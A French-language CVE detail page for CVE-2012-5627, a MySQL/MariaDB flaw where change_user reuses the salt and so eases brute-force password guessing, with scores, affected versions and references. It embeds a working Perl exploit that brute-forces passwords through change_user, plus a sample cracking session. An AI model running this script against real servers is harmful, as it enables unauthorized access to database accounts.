CVE-2012-5627 : Détail

CVE-2012-5627

A04-Insecure Design
0.31%V3
Network
2013-10-01
15h00 +00:00
2014-02-10
21h57 +00:00
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Descriptions du CVE

Oracle MySQL and MariaDB 5.5.x before 5.5.29, 5.3.x before 5.3.12, and 5.2.x before 5.2.14 does not modify the salt during multiple executions of the change_user command within the same connection which makes it easier for remote authenticated users to conduct brute force password guessing attacks.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-522 Insufficiently Protected Credentials
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4 AV:N/AC:L/Au:S/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 38109

Date de publication : 2012-12-05 23h00 +00:00
Auteur : kingcope
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/56837/info MySQL and MariaDB are prone to a security-bypass weakness. An attacker may be able to exploit this issue to aid in brute-force attacks; other attacks may also be possible. use Net::MySQL; $|=1; my $mysql = Net::MySQL->new( hostname => '192.168.2.3', database => 'test', user => "user", password => "secret", debug => 0, ); $crackuser = "crackme"; while(<stdin>) { chomp; $currentpass = $_; $vv = join "\0", $crackuser, "\x14". Net::MySQL::Password->scramble( $currentpass, $mysql->{salt}, $mysql->{client_capabilities} ) . "\0"; if ($mysql->_execute_command("\x11", $vv) ne undef) { print "[*] Cracked! --> $currentpass\n"; exit; } } --- example session: C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo hn --incremental --stdout=5 | perl mysqlcrack.pl Warning: MaxLen = 8 is too large for the current hash type, reduced to 5 words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH words: 24573 time: 0:00:00:04 w/s: 4916 current: rap words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3 words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429 words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141 words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2 [*] Cracked! --> pass words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs Session aborted

Products Mentioned

Configuraton 0

Oracle>>Mysql >> Version From (including) 5.5.0 To (excluding) 5.5.29

Configuraton 0

Mariadb>>Mariadb >> Version From (including) 5.2.0 To (excluding) 5.2.14

Mariadb>>Mariadb >> Version From (including) 5.3.0 To (excluding) 5.3.12

Mariadb>>Mariadb >> Version From (including) 5.5.0 To (excluding) 5.5.29

Mariadb>>Mariadb >> Version 10.0.0

Références

http://seclists.org/fulldisclosure/2012/Dec/58
Tags : mailing-list, x_refsource_FULLDISC
http://seclists.org/fulldisclosure/2012/Dec/83
Tags : mailing-list, x_refsource_FULLDISC
http://seclists.org/oss-sec/2012/q4/424
Tags : mailing-list, x_refsource_MLIST
http://www.mandriva.com/security/advisories?name=MDVSA-2013:102
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/53372
Tags : third-party-advisory, x_refsource_SECUNIA
http://security.gentoo.org/glsa/glsa-201308-06.xml
Tags : vendor-advisory, x_refsource_GENTOO